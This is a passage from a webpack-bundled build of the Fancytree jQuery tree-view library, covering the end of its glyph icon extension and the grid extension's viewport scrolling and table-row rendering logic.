		// #871: propsed this, but I am not sure how robust this is, e.g.
		// the prefix (fas, far) class changes are not considered?
		// if (span.tagName === "svg" && opts.preset === "awesome5") {
		// 	// fa5 script converts <i> to <svg> so call a specific handler.
		// 	var oldIcon = "fa-" + $span.data("icon");
		// 	// node.debug( "setIcon(" + baseClass + ", " + type + "): " + oldIcon + " -> " + icon );
		// 	if (typeof oldIcon === "string") {
		// 		$span.removeClass(oldIcon);
		// 	}
		// 	if (typeof icon === "string") {
		// 		$span.addClass(icon);
		// 	}
		// 	return;
		// }
		if (typeof icon === "string") {
			// #883: remove inner html that may be added by prev. mode
			span.innerHTML = "";
			$span.attr("class", setClass + " " + icon).append($counter);
		} else if (icon) {
			if (icon.text) {
				span.textContent = "" + icon.text;
			} else if (icon.html) {
				span.innerHTML = icon.html;
			} else {
				span.innerHTML = "";
			}
			$span
				.attr("class", setClass + " " + (icon.addClass || ""))
				.append($counter);
		}
	}

	$.ui.fancytree.registerExtension({
		name: "glyph",
		version: "2.38.1",
		// Default options for this extension.
		options: {
			preset: null, // 'awesome3', 'awesome4', 'bootstrap3', 'material'
			map: {},
		},

		treeInit: function (ctx) {
			var tree = ctx.tree,
				opts = ctx.options.glyph;

			if (opts.preset) {
				FT.assert(
					!!PRESETS[opts.preset],
					"Invalid value for `options.glyph.preset`: " + opts.preset
				);
				opts.map = $.extend({}, PRESETS[opts.preset], opts.map);
			} else {
				tree.warn("ext-glyph: missing `preset` option.");
			}
			this._superApply(arguments);
			tree.$container.addClass("fancytree-ext-glyph");
		},
		nodeRenderStatus: function (ctx) {
			var checkbox,
				icon,
				res,
				span,
				node = ctx.node,
				$span = $(node.span),
				opts = ctx.options.glyph;

			res = this._super(ctx);

			if (node.isRootNode()) {
				return res;
			}
			span = $span.children(".fancytree-expander").get(0);
			if (span) {
				// if( node.isLoading() ){
				// icon = "loading";
				if (node.expanded && node.hasChildren()) {
					icon = "expanderOpen";
				} else if (node.isUndefined()) {
					icon = "expanderLazy";
				} else if (node.hasChildren()) {
					icon = "expanderClosed";
				} else {
					icon = "noExpander";
				}
				// span.className = "fancytree-expander " + map[icon];
				setIcon(node, span, "fancytree-expander", opts, icon);
			}

			if (node.tr) {
				span = $("td", node.tr).find(".fancytree-checkbox").get(0);
			} else {
				span = $span.children(".fancytree-checkbox").get(0);
			}
			if (span) {
				checkbox = FT.evalOption("checkbox", node, node, opts, false);
				if (
					(node.parent && node.parent.radiogroup) ||
					checkbox === "radio"
				) {
					icon = node.selected ? "radioSelected" : "radio";
					setIcon(
						node,
						span,
						"fancytree-checkbox fancytree-radio",
						opts,
						icon
					);
				} else {
					// eslint-disable-next-line no-nested-ternary
					icon = node.selected
						? "checkboxSelected"
						: node.partsel
						? "checkboxUnknown"
						: "checkbox";
					// span.className = "fancytree-checkbox " + map[icon];
					setIcon(node, span, "fancytree-checkbox", opts, icon);
				}
			}

			// Standard icon (note that this does not match .fancytree-custom-icon,
			// that might be set by opts.icon callbacks)
			span = $span.children(".fancytree-icon").get(0);
			if (span) {
				if (node.statusNodeType) {
					icon = node.statusNodeType; // loading, error
				} else if (node.folder) {
					icon =
						node.expanded && node.hasChildren()
							? "folderOpen"
							: "folder";
				} else {
					icon = node.expanded ? "docOpen" : "doc";
				}
				setIcon(node, span, "fancytree-icon", opts, icon);
			}
			return res;
		},
		nodeSetStatus: function (ctx, status, message, details) {
			var res,
				span,
				opts = ctx.options.glyph,
				node = ctx.node;

			res = this._superApply(arguments);

			if (
				status === "error" ||
				status === "loading" ||
				status === "nodata"
			) {
				if (node.parent) {
					span = $(".fancytree-expander", node.span).get(0);
					if (span) {
						setIcon(node, span, "fancytree-expander", opts, status);
					}
				} else {
					//
					span = $(
						".fancytree-statusnode-" + status,
						node[this.nodeContainerAttrName]
					)
						.find(".fancytree-icon")
						.get(0);
					if (span) {
						setIcon(node, span, "fancytree-icon", opts, status);
					}
				}
			}
			return res;
		},
	});
	// Value returned by `require('jquery.fancytree..')`
	return $.ui.fancytree;
}); // End of closure


/***/ }),

/***/ 492:
/***/ ((module, exports, __webpack_require__) => {

var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*!
 * jquery.fancytree.grid.js
 *
 * Render tree as table (aka 'tree grid', 'table tree').
 * (Extension module for jquery.fancytree.js: https://github.com/mar10/fancytree/)
 *
 * Copyright (c) 2008-2021, Martin Wendt (http://wwWendt.de)
 *
 * Released under the MIT license
 * https://github.com/mar10/fancytree/wiki/LicenseInfo
 *
 * @version 2.38.1
 * @date 2022-01-14T18:41:36Z
 */

(function (factory) {
	if (true) {
		// AMD. Register as an anonymous module.
		!(__WEBPACK_AMD_DEFINE_ARRAY__ = [__webpack_require__(486), __webpack_require__(490)], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
		__WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
		(__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
	} else {}
})(function ($) {
	"use strict";

	/******************************************************************************
	 * Private functions and variables
	 */
	var FT = $.ui.fancytree,
		_assert = FT.assert,
		SCROLL_MODE = "wheel"; // 'wheel' | 'scroll'
	// EPS = 1.0;

	/*
	 * [ext-grid] ...
	 *
	 * @alias Fancytree#_addScrollbar
	 * @requires jquery.fancytree.grid.js
	 */
	function _addScrollbar(table) {
		var sbWidth = 10,
			$table = $(table),
			position = $table.position(),
			// top = $table.find("tbody").position().top,

			$sb = $("<div>", {
				class: "fancytree-scrollbar",
				css: {
					border: "1px solid gray",
					position: "absolute",
					top: position.top,
					left: position.left + $table.width(),
					width: sbWidth,
					height: $table.find("tbody").height(),
				},
			});

		$table
			.css({
				"margin-right": sbWidth,
			})
			.after($sb);

		return $sb;
	}

	/*
	 * [ext-grid] Invalidate renumber status, i.e. trigger renumber next time.
	 *
	 * @alias Fancytree#_renumberReset
	 * @requires jquery.fancytree.grid.js
	 */
	$.ui.fancytree._FancytreeClass.prototype._renumberReset = function () {
		// this.debug("_renumberReset()");
		this.visibleNodeList = null;
	};

	/*
	 * [ext-grid] Adjust the start value if the content would be outside otherwise.
	 *
	 * @alias Fancytree#_fixStart
	 * @requires jquery.fancytree.grid.js
	 */
	$.ui.fancytree._FancytreeClass.prototype._fixStart = function (
		start,
		apply
	) {
		var vp = this.viewport,
			nodeList = this.visibleNodeList;

		start = start == null ? vp.start : start;
		// this.debug("_fixStart(" + start + ", " + !!apply + ")");
		var orgStart = start;
		// Don't scroll down below bottom node
		if (nodeList) {
			start = Math.min(start, this.visibleNodeList.length - vp.count);
			start = Math.max(start, 0, start);
			if (start !== orgStart) {
				this.debug("Adjust start " + orgStart + " => " + start);
				if (apply) {
					vp.start = start;
				}
			}
		}
		return start;
	};

	/*
	 * [ext-grid] ...
	 *
	 * @alias Fancytree#_shiftViewport
	 * @requires jquery.fancytree.grid.js
	 */
	$.ui.fancytree._FancytreeClass.prototype._shiftViewport = function (
		mode,
		ofs
	) {
		this.debug("_shiftViewport", mode, ofs);
		switch (mode) {
			case "vscroll":
				if (ofs) {
					this.setViewport({
						start: this.viewport.start + (ofs > 0 ? 1 : -1),
					});
				}
				break;

			default:
				throw Error("Invalid  mode: " + mode);
		}
	};

	/**
	 * [ext-grid] Return true if viewport cannot be scrolled down any further.
	 *
	 * @alias Fancytree#isViewportBottom
	 * @requires jquery.fancytree.grid.js
	 */
	$.ui.fancytree._FancytreeClass.prototype.isViewportBottom = function () {
		return (
			this.viewport.start + this.viewport.count >=
			this.visibleNodeList.length
		);
	};

	/**
	 * [ext-grid] Define a subset of rows/columns to display and redraw.
	 *
	 * @param {object | boolean} options viewport boundaries and status.
	 *
	 * @alias Fancytree#setViewport
	 * @requires jquery.fancytree.grid.js
	 */
	$.ui.fancytree._FancytreeClass.prototype.setViewport = function (opts) {
		if (typeof opts === "boolean") {
			this.debug("setViewport( " + opts + ")");
			return this.setViewport({ enabled: opts });
		}
		opts = opts || {};
		var i,
			count,
			start,
			newRow,
			redrawReason = "",
			vp = this.viewport,
			diffVp = { start: 0, count: 0, enabled: null, force: null },
			newVp = $.extend({}, vp),
			trList = this.tbody.children,
			trCount = trList.length;

		// Sanitize viewport settings and check if we need to redraw
		this.debug("setViewport(" + opts.start + ", +" + opts.count + ")");
		if (opts.force) {
			redrawReason += "force";
			diffVp.force = true;
		}

		opts.enabled = opts.enabled !== false; // default to true
		if (vp.enabled !== opts.enabled) {
			redrawReason += "enable";
			newVp.enabled = diffVp.enabled = opts.enabled;
		}

		start = opts.start == null ? vp.start : Math.max(0, +opts.start);
		// Adjust start value to assure the current content is inside vp
		start = this._fixStart(start, false);

		if (vp.start !== +start) {
			redrawReason += "start";
			newVp.start = start;
			diffVp.start = start - vp.start;
		}

		count = opts.count == null ? vp.count : Math.max(1, +opts.count);
		if (vp.count !== +count) {
			redrawReason += "count";
			newVp.count = count;
			diffVp.count = count - vp.count;
		}
		// if (vp.left !== +opts.left) {
		// 	diffVp.left = left - vp.left;
		// 	newVp.left = opts.left;
		// 	redrawReason += "left";
		// }
		// if (vp.right !== +opts.right) {
		// 	diffVp.right = right - vp.right;
		// 	newVp.right = opts.right;
		// 	redrawReason += "right";
		// }

		if (!redrawReason) {
			return false;
		}
		// Let user cancel or modify the update
		var info = {
			next: newVp,
			diff: diffVp,
			reason: redrawReason,
			scrollOnly: redrawReason === "start",
		};
		if (
			!opts.noEvents &&
			this._triggerTreeEvent("beforeUpdateViewport", null, info) === false
		) {
			return false;
		}
		info.prev = $.extend({}, vp);
		delete info.next;
		// vp.enabled = newVp.enabled;
		vp.start = newVp.start;
		vp.count = newVp.count;

		// Make sure we have the correct count of TRs
		var prevPhase = this.isVpUpdating;

		if (trCount > count) {
			for (i = 0; i < trCount - count; i++) {
				delete this.tbody.lastChild.ftnode;
				this.tbody.removeChild(this.tbody.lastChild);
			}
		} else if (trCount < count) {
			for (i = 0; i < count - trCount; i++) {
				newRow = this.rowFragment.firstChild.cloneNode(true);
				this.tbody.appendChild(newRow);
			}
		}
		trCount = trList.length;

		// Update visible node cache if needed
		var force = opts.force;
		this.redrawViewport(force);

		if (!opts.noEvents) {
			this._triggerTreeEvent("updateViewport", null, info);
		}

		this.isVpUpdating = prevPhase;
		return true;
	};

	/**
	 * [ext-grid] Calculate the viewport count from current scroll wrapper height.
	 *
	 * @alias Fancytree#adjustViewportSize
	 * @requires jquery.fancytree.grid.js
	 */
	$.ui.fancytree._FancytreeClass.prototype.adjustViewportSize = function () {
		_assert(
			this.scrollWrapper,
			"No parent div.fancytree-grid-container found."
		);
		if (this.isVpUpdating) {
			this.debug("Ignoring adjustViewportSize() during VP update.");
			return;
		}
		// Calculate how many rows fit into current container height
		var $table = this.$container,
			wrapper = this.scrollWrapper,
			trHeight = $table.find(">tbody>tr").first().height() || 0,
			tableHeight = $table.height(),
			headHeight = tableHeight - this.viewport.count * trHeight,
			wrapperHeight = wrapper.offsetHeight,
			free = wrapperHeight - headHeight,
			newCount = trHeight ? Math.floor(free / trHeight) : 0;

		// console.info(
		// 	"set container height",
		// 	$(this)
		// 		.parent(".fancytree-grid-container")
		// 		.height()
		// );

		this.setViewport({ count: newCount });
		// if (SCROLL_MODE === "scroll") {
		// 	// Add bottom margin to the table, to make sure the wrapper becomes
		// 	// scrollable
		// 	var mb = wrapperHeight - $table.height() - 2.0 * EPS;
		// 	this.debug("margin-bottom=" + mb);
		// 	$table.css("margin-bottom", mb);
		// }
	};

	/*
	 * [ext-grid] Calculate the scroll container dimension from the current tree table.
	 *
	 * @alias Fancytree#initViewportWrapper
	 * @requires jquery.fancytree.grid.js
	 */
	$.ui.fancytree._FancytreeClass.prototype._initViewportWrapper =
		function () {
			var // wrapper = this.scrollWrapper,
				// $wrapper = $(wrapper),
				tree = this;

			// if (SCROLL_MODE === "scroll") {
			// 	$wrapper.on("scroll", function(e) {
			// 		var viewport = tree.viewport,
			// 			curTop = wrapper.scrollTop,
			// 			homeTop = viewport.start === 0 ? 0 : EPS,
			// 			dy = viewport.start === 0 ? 1 : curTop - EPS; //homeTop;

			// 		tree.debug(
			// 			"Got 'scroll' event: scrollTop=" +
			// 				curTop +
			// 				", homeTop=" +
			// 				homeTop +
			// 				", start=" +
			// 				viewport.start +
			// 				", dy=" +
			// 				dy
			// 		);
			// 		if (tree.isVpUpdating) {
			// 			tree.debug("Ignoring scroll during VP update.");
			// 			return;
			// 		} else if (curTop === homeTop) {
			// 			tree.debug("Ignoring scroll to neutral " + homeTop + ".");
			// 			return;
			// 		}
			// 		tree._shiftViewport("vscroll", dy);
			// 		homeTop = viewport.start === 0 ? 0 : EPS;
			// 		setTimeout(function() {
			// 			tree.debug(
			// 				"scrollTop(" +
			// 					wrapper.scrollTop +
			// 					" -> " +
			// 					homeTop +
			// 					")..."
			// 			);
			// 			wrapper.scrollTop = homeTop;
			// 		}, 0);
			// 	});
			// }
			if (SCROLL_MODE === "wheel") {
				this.$container.on("wheel", function (e) {
					var orgEvent = e.originalEvent,
						viewport = tree.viewport,
						dy = orgEvent.deltaY; // * orgEvent.wheelDeltaY;

					if (
						!dy ||
						e.altKey ||
						e.ctrlKey ||
						e.metaKey ||
						e.shiftKey
					) {
						return true;
					}
					if (dy < 0 && viewport.start === 0) {
						return true;
					}
					if (dy > 0 && tree.isViewportBottom()) {
						return true;
					}
					tree.debug(
						"Got 'wheel' event: dy=" +
							dy +
							", mode=" +
							orgEvent.deltaMode
					);
					tree._shiftViewport("vscroll", dy);
					return false;
				});
			}
		};

	/*
	 * [ext-grid] Renumber and collect all visible rows.
	 *
	 * @param {bool} [force=false]
	 * @param {FancytreeNode | int} [startIdx=0]
	 * @alias Fancytree#_renumberVisibleNodes
	 * @requires jquery.fancytree.grid.js
	 */
	$.ui.fancytree._FancytreeClass.prototype._renumberVisibleNodes = function (
		force,
		startIdx
	) {
		if (
			(!this.options.viewport.enabled || this.visibleNodeList != null) &&
			force !== true
		) {
			// this.debug("_renumberVisibleNodes() ignored.");
			return false;
		}
		this.debugTime("_renumberVisibleNodes()");
		var i = 0,
			prevLength = this.visibleNodeList ? this.visibleNodeList.length : 0,
			visibleNodeList = (this.visibleNodeList = []);

		// Reset previous data
		this.visit(function (node) {
			node._rowIdx = null;
			// node.span = null;
			// if (node.tr) {
			// 	delete node.tr.ftnode;
			// 	node.tr = null;
			// }
		});
		// Iterate over all *visible* nodes
		this.visitRows(function (node) {
			node._rowIdx = i++;
			visibleNodeList.push(node);
		});
		this.debugTimeEnd("_renumberVisibleNodes()");
		if (i !== prevLength) {
			this._triggerTreeEvent("updateViewport", null, {
				reason: "renumber",
				diff: { start: 0, count: 0, enabled: null, force: null },
				next: $.extend({}, this.viewport),
				// visibleCount: prevLength,
				// cur: i,
			});
		}
	};

	/**
	 * [ext-grid] Render all visible nodes into the viweport.
	 *
	 * @param {bool} [force=false]
	 * @alias Fancytree#redrawViewport
	 * @requires jquery.fancytree.grid.js
	 */
	$.ui.fancytree._FancytreeClass.prototype.redrawViewport = function (force) {
		if (this._enableUpdate === false) {
			// tree.debug("no render", tree._enableUpdate);
			return;
		}
		this.debugTime("redrawViewport()");
		this._renumberVisibleNodes(force);
		// Adjust vp.start value to assure the current content is inside:
		this._fixStart(null, true);

		var i = 0,
			vp = this.viewport,
			visibleNodeList = this.visibleNodeList,
			start = vp.start,
			bottom = start + vp.count,
			tr,
			_renderCount = 0,
			trIdx = 0,
			trList = this.tbody.children,
			prevPhase = this.isVpUpdating;

		// Reset previous data
		this.visit(function (node) {
			// node.debug("redrawViewport(): _rowIdx=" + node._rowIdx);
			node.span = null;
			if (node.tr) {
				delete node.tr.ftnode;
				node.tr = null;
			}
		});

		// Redraw the whole tree, erasing all node markup before and after
		// the viewport

		for (i = start; i < bottom; i++) {
			var node = visibleNodeList[i];

			tr = trList[trIdx];

			if (!node) {
				// TODO: make trailing empty rows configurable (custom template or remove TRs)
				var newRow = this.rowFragment.firstChild.cloneNode(true);
				this.tbody.replaceChild(newRow, tr);
				trIdx++;
				continue;
			}
			if (tr !== node.tr) {
				node.tr = tr;
				node.render();
				_renderCount++;

				// TODO:
				// Implement scrolling by re-using existing markup
				// e.g. shifting TRs or TR child elements instead of
				// re-creating all the time
			}
			trIdx++;
		}
		this.isVpUpdating = prevPhase;
		this.debugTimeEnd("redrawViewport()");
	};

	$.ui.fancytree.registerExtension({
		name: "grid",
		version: "2.38.1",
		// Default options for this extension.
		options: {
			checkboxColumnIdx: null, // render the checkboxes into the this column index (default: nodeColumnIdx)
			indentation: 16, // indent every node level by 16px
			mergeStatusColumns: true, // display 'nodata', 'loading', 'error' centered in a single, merged TR
			nodeColumnIdx: 0, // render node expander, icon, and title to this column (default: #0)
		},
		// Overide virtual methods for this extension.
		// `this`       : is this extension object
		// `this._super`: the virtual function that was overriden (member of prev. extension or Fancytree)
		treeInit: function (ctx) {
			var i,
				columnCount,
				n,
				$row,
				$tbody,
				tree = ctx.tree,
				opts = ctx.options,
				tableOpts = opts.table,
				$table = tree.widget.element,
				$scrollWrapper = $table.parent(".fancytree-grid-container");

			if ($.inArray("table", opts.extensions) >= 0) {
				$.error("ext-grid and ext-table are mutually exclusive.");
			}
			if (opts.renderStatusColumns === true) {
				opts.renderStatusColumns = opts.renderColumns;
			}
			// Note: we also re-use CSS rules from ext-table
			$table.addClass(
				"fancytree-container fancytree-ext-grid fancytree-ext-table"
			);
			$tbody = $table.find(">tbody");
			if (!$tbody.length) {
				// TODO: not sure if we can rely on browsers to insert missing <tbody> before <tr>s:
				if ($table.find(">tr").length) {
					$.error(
						"Expected table > tbody > tr. If you see this, please open an issue."
					);
				}
				$tbody = $("<tbody>").appendTo($table);
			}

			tree.tbody = $tbody[0];

			// Prepare row templates:
			// Determine column count from table header if any
			columnCount = $("thead >tr", $table).last().find(">th").length;
			// Read TR templates from tbody if any
			$row = $tbody.children("tr").first();
			if ($row.length) {
				n = $row.children("td").length;
				if (columnCount && n !== columnCount) {
					tree.warn(
						"Column count mismatch between thead (" +
							columnCount +
							") and tbody (" +
							n +
							"): using tbody."
					);
					columnCount = n;
				}
				$row = $row.clone();
			} else {
				// Only thead is defined: create default row markup
				_assert(
					columnCount >= 1,
					"Need either <thead> or <tbody> with <td> elements to determine column count."
				);
				$row = $("<tr />");
				for (i = 0; i < columnCount; i++) {
					$row.append("<td />");
				}
			}
			$row.find(">td")
				.eq(tableOpts.nodeColumnIdx)
				.html("<span class='fancytree-node' />");
			if (opts.aria) {
				$row.attr("role", "row");
				$row.find("td").attr("role", "gridcell");
			}
			tree.rowFragment = document.createDocumentFragment();
			tree.rowFragment.appendChild($row.get(0));

			$tbody.empty();

			// Make sure that status classes are set on the node's <tr> elements
			tree.statusClassPropName = "tr";
			tree.ariaPropName = "tr";
			this.nodeContainerAttrName = "tr";

			// #489: make sure $container is set to <table>, even if ext-dnd is listed before ext-grid
			tree.$container = $table;
			if ($scrollWrapper.length) {
				tree.scrollWrapper = $scrollWrapper[0];
				this._initViewportWrapper();
			} else {
				tree.scrollWrapper = null;
			}

			// Scrolling is implemented completely differently here
			$.ui.fancytree.overrideMethod(
				$.ui.fancytree._FancytreeNodeClass.prototype,
				"scrollIntoView",
				function (effects, options) {
					var node = this,
						tree = node.tree,
						topNode = options && options.topNode,
						vp = tree.viewport,
						start = vp ? vp.start : null;

					if (!tree.viewport) {
						return node._super.apply(this, arguments);
					}
					if (node._rowIdx < vp.start) {
						start = node._rowIdx;
					} else if (node._rowIdx >= vp.start + vp.count) {
						start = node._rowIdx - vp.count + 1;
					}
					if (topNode && topNode._rowIdx < start) {
						start = topNode._rowIdx;
					}
					tree.setViewport({ start: start });
					// Return a resolved promise
					return $.Deferred(function () {
						this.resolveWith(node);
					}).promise();
				}
			);

			tree.visibleNodeList = null; // Set by _renumberVisibleNodes()
			tree.viewport = {
				enabled: true,
				start: 0,
				count: 10,
				left: 0,
				right: 0,
			};
			this.setViewport(
				$.extend(
					{
						// enabled: true,
						autoSize: true,
						start: 0,
						count: 10,
						left: 0,
						right: 0,
						keepEmptyRows: true,
						noEvents: true,
					},
					opts.viewport
				)
			);
			// tree.$scrollbar = _addScrollbar($table);

			this._superApply(arguments);

			// standard Fancytree created a root UL
			$(tree.rootNode.ul).remove();
			tree.rootNode.ul = null;

			// Add container to the TAB chain
			// #577: Allow to set tabindex to "0", "-1" and ""
			this.$container.attr("tabindex", opts.tabindex);
			// this.$container.attr("tabindex", opts.tabbable ? "0" : "-1");
			if (opts.aria) {
				tree.$container
					.attr("role", "treegrid")
					.attr("aria-readonly", true);
			}
		},
		nodeKeydown: function (ctx) {
			var nextNode = null,
				nextIdx = null,
				tree = ctx.tree,
				node = ctx.node,
				nodeList = tree.visibleNodeList,
				// treeOpts = ctx.options,
				viewport = tree.viewport,
				event = ctx.originalEvent,
				eventString = FT.eventToString(event);

			tree.debug("nodeKeydown(" + eventString + ")");

			switch (eventString) {
				case "home":
				case "meta+up":
					nextIdx = 0;
					break;
				case "end":
				case "meta+down":
					nextIdx = nodeList.length - 1;
					break;
				case "pageup":
					nextIdx = node._rowIdx - viewport.count;
					break;
				case "pagedown":
					nextIdx = node._rowIdx + viewport.count;
					break;
			}
			if (nextIdx != null) {
				nextIdx = Math.min(Math.max(0, nextIdx), nodeList.length - 1);
				nextNode = nodeList[nextIdx];
				nextNode.makeVisible();
				nextNode.setActive();
				return false;
			}
			return this._superApply(arguments);
		},
		nodeRemoveChildMarkup: function (ctx) {
			var node = ctx.node;

			node.visit(function (n) {
				if (n.tr) {
					delete n.tr.ftnode;
					n.tr = null;
					n.span = null;
				}
			});
		},
		nodeRemoveMarkup: function (ctx) {
			var node = ctx.node;

			if (node.tr) {
				delete node.tr.ftnode;
				node.tr = null;
				node.span = null;
			}
			this.nodeRemoveChildMarkup(ctx);
		},
		/* Override standard render. */
		nodeRender: function (ctx, force, deep, collapsed, _recursive) {
			var children,
				i,
				l,
				outsideViewport,
				subCtx,
				tree = ctx.tree,
				node = ctx.node;

			if (tree._enableUpdate === false) {
				node.debug("nodeRender(): _enableUpdate: false");
				return;
			}
			var opts = ctx.options,
				viewport = tree.viewport.enabled ? tree.viewport : null,
				start = viewport && viewport.start > 0 ? +viewport.start : 0,
				bottom = viewport ? start + viewport.count - 1 : 0,
				isRootNode = !node.parent;

			_assert(viewport);

			// node.debug("nodeRender(): " + node + ", isRoot=" + isRootNode, "tr=" + node.tr, "hcp=" + ctx.hasCollapsedParents, "parent.tr=" + (node.parent && node.parent.tr));
			if (!_recursive) {
				// node.debug("nodeRender(): start top node");
				if (isRootNode && viewport) {
					node.debug("nodeRender(): redrawViewport() instead");
					return ctx.tree.redrawViewport();
				}
				ctx.hasCollapsedParents = node.parent && !node.parent.expanded;
				// Make sure visible row indices are up-to-date
				if (viewport) {
					tree._renumberVisibleNodes();
				}
			}

			if (!isRootNode) {
				outsideViewport =
					viewport &&
					(node._rowIdx < start ||
						node._rowIdx >= start + viewport.count);

				// node.debug(
				// 	"nodeRender(): idx=" +
				// 		node._rowIdx +
				// 		", outside=" +
				// 		outsideViewport +
				// 		", TR count=" +
				// 		tree.tbody.rows.length
				// );
				if (outsideViewport) {
					// node.debug("nodeRender(): outsideViewport: ignored");
					return;
				}
				if (!node.tr) {
					if (node._rowIdx == null) {
						// node.warn("nodeRender(): ignoring hidden");
						return;
					}
					node.debug("nodeRender(): creating new TR.");
					node.tr = tree.tbody.rows[node._rowIdx - start];
				}
				// _assert(
				// 	node.tr,
				// 	"nodeRender() called for node.tr == null: " + node
				// );
				node.tr.ftnode = node;

				if (node.key && opts.generateIds) {
					node.tr.id = opts.idPrefix + node.key;
				}
				node.span = $("span.fancytree-node", node.tr).get(0);

				// Set icon, link, and title (normally this is only required on initial render)
				// var ctx = this._makeHookContext(node);
				this.nodeRenderTitle(ctx); // triggers renderColumns()

				// Allow tweaking, binding, after node was created for the first time
				if (opts.createNode) {
					opts.createNode.call(this, { type: "createNode" }, ctx);
				}
			}
			// Allow tweaking after node state was rendered
			if (opts.renderNode) {
				opts.renderNode.call(tree, { type: "renderNode" }, ctx);
			}
			// Visit child nodes
			// Add child markup
			children = node.children;
			_assert(!deep, "deep is not supported");

			if (children && (isRootNode || deep || node.expanded)) {
				for (i = 0, l = children.length; i < l; i++) {
					var child = children[i];

					if (viewport && child._rowIdx > bottom) {
						children[i].debug("BREAK render children loop");
						return false;
					}
					subCtx = $.extend({}, ctx, { node: child });
					subCtx.hasCollapsedParents =
						subCtx.hasCollapsedParents || !node.expanded;
					this.nodeRender(subCtx, force, deep, collapsed, true);
				}
			}
		},
		nodeRenderTitle: function (ctx, title) {
			var $cb,
				res,
				tree = ctx.tree,
				node = ctx.node,
				opts = ctx.options,
				isStatusNode = node.isStatusNode();

			res = this._super(ctx, title);

			if (node.isRootNode()) {
				return res;
			}
			// Move checkbox to custom column
			if (
				opts.checkbox &&
				!isStatusNode &&
				opts.table.checkboxColumnIdx != null
			) {
				$cb = $("span.fancytree-checkbox", node.span); //.detach();
				$(node.tr)
					.find("td")
					.eq(+opts.table.checkboxColumnIdx)
					.html($cb);
			}
			// Update element classes according to node state
			this.nodeRenderStatus(ctx);

			if (isStatusNode) {
				if (opts.renderStatusColumns) {
					// Let user code write column content
					opts.renderStatusColumns.call(
						tree,
						{ type: "renderStatusColumns" },
						ctx
					);
				} else if (opts.grid.mergeStatusColumns && node.isTopLevel()) {
					node.warn("mergeStatusColumns is not yet implemented.");
					// This approach would not work, since the roe may be re-used:
					// $(node.tr)
					// 	.find(">td")
					// 	.eq(0)
					// 	.prop("colspan", tree.columnCount)
					// 	.text(node.title)
					// 	.addClass("fancytree-status-merged")
					// 	.nextAll()
					// 	.remove();
				} // else: default rendering for status node: leave other cells empty
			} else if (opts.renderColumns) {
				opts.renderColumns.call(tree, { type: "renderColumns" }, ctx);
			}
			return res;
		},
		nodeRenderStatus: function (ctx) {
			var indent,
				node = ctx.node,
				opts = ctx.options;

			this._super(ctx);

			$(node.tr).removeClass("fancytree-node");
			// indent
			indent = (node.getLevel() - 1) * opts.table.indentation;
			if (opts.rtl) {
				$(node.span).css({ paddingRight: indent + "px" });
			} else {
				$(node.span).css({ paddingLeft: indent + "px" });
			}
		},
		/* Expand node, return Deferred.promise. */
		nodeSetExpanded: function (ctx, flag, callOpts) {
			var node = ctx.node,
				tree = ctx.tree;

			// flag defaults to true
			flag = flag !== false;

			if ((node.expanded && flag) || (!node.expanded && !flag)) {
				// Expanded state isn't changed - just call base implementation
				return this._superApply(arguments);
			}

			var dfd = new $.Deferred(),
				subOpts = $.extend({}, callOpts, {
					noEvents: true,
					noAnimation: true,
				});

			callOpts = callOpts || {};

			function _afterExpand(ok) {
				tree.redrawViewport(true);

				if (ok) {
					if (
						flag &&
						ctx.options.autoScroll &&
						!callOpts.noAnimation &&
						node.hasChildren()
					) {
						// Scroll down to last child, but keep current node visible
						node.getLastChild()
							.scrollIntoView(true, { topNode: node })
							.always(function () {
								if (!callOpts.noEvents) {
									tree._triggerNodeEvent(
										flag ? "expand" : "collapse",
										ctx
									);
								}
								dfd.resolveWith(node);
							});
					} else {
						if (!callOpts.noEvents) {
							tree._triggerNodeEvent(
								flag ? "expand" : "collapse",
								ctx
							);
						}
						dfd.resolveWith(node);
					}
				} else {
					if (!callOpts.noEvents) {
						tree._triggerNodeEvent(
							flag ? "expand" : "collapse",
							ctx
						);
					}
					dfd.rejectWith(node);
				}
			}
			// Call base-expand with disabled events and animation
			this._super(ctx, flag, subOpts)
				.done(function () {
					_afterExpand(true);
				})
				.fail(function () {
					_afterExpand(false);
				});
			return dfd.promise();
		},
		treeClear: function (ctx) {
			// this.nodeRemoveChildMarkup(this._makeHookContext(this.rootNode));
			// this._renumberReset(); // Invalidate visible row cache
			return this._superApply(arguments);
		},
		treeDestroy: function (ctx) {
			this.$container.find("tbody").empty();
			this.$container.off("wheel");
			if (this.$source) {
				this.$source.removeClass("fancytree-helper-hidden");
			}
			this._renumberReset(); // Invalidate visible row cache
			return this._superApply(arguments);
		},
		treeStructureChanged: function (ctx, type) {
			// debugger;
			if (type !== "addNode" || ctx.tree.visibleNodeList) {
				// this.debug("treeStructureChanged(" + type + ")");
				this._renumberReset(); // Invalidate visible row cache
			}
		},
	});
	// Value returned by `require('jquery.fancytree..')`
	return $.ui.fancytree;
}); // End of closure


/***/ }),

/***/ 490:
/***/ ((module, exports, __webpack_require__) => {

var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*!
 * jquery.fancytree.js
 * Tree view control with support for lazy loading and much more.
 * https://github.com/mar10/fancytree/
 *
 * Copyright (c) 2008-2021, Martin Wendt (https://wwWendt.de)
 * Released under the MIT license
 * https://github.com/mar10/fancytree/wiki/LicenseInfo
 *
 * @version 2.38.1
 * @date 2022-01-14T18:41:36Z
 */

/** Core Fancytree module.
 */

// UMD wrapper for the Fancytree core module
(function (factory) {
	if (true) {
		// AMD. Register as an anonymous module.
		!(__WEBPACK_AMD_DEFINE_ARRAY__ = [__webpack_require__(486), __webpack_require__(491)], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
		__WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
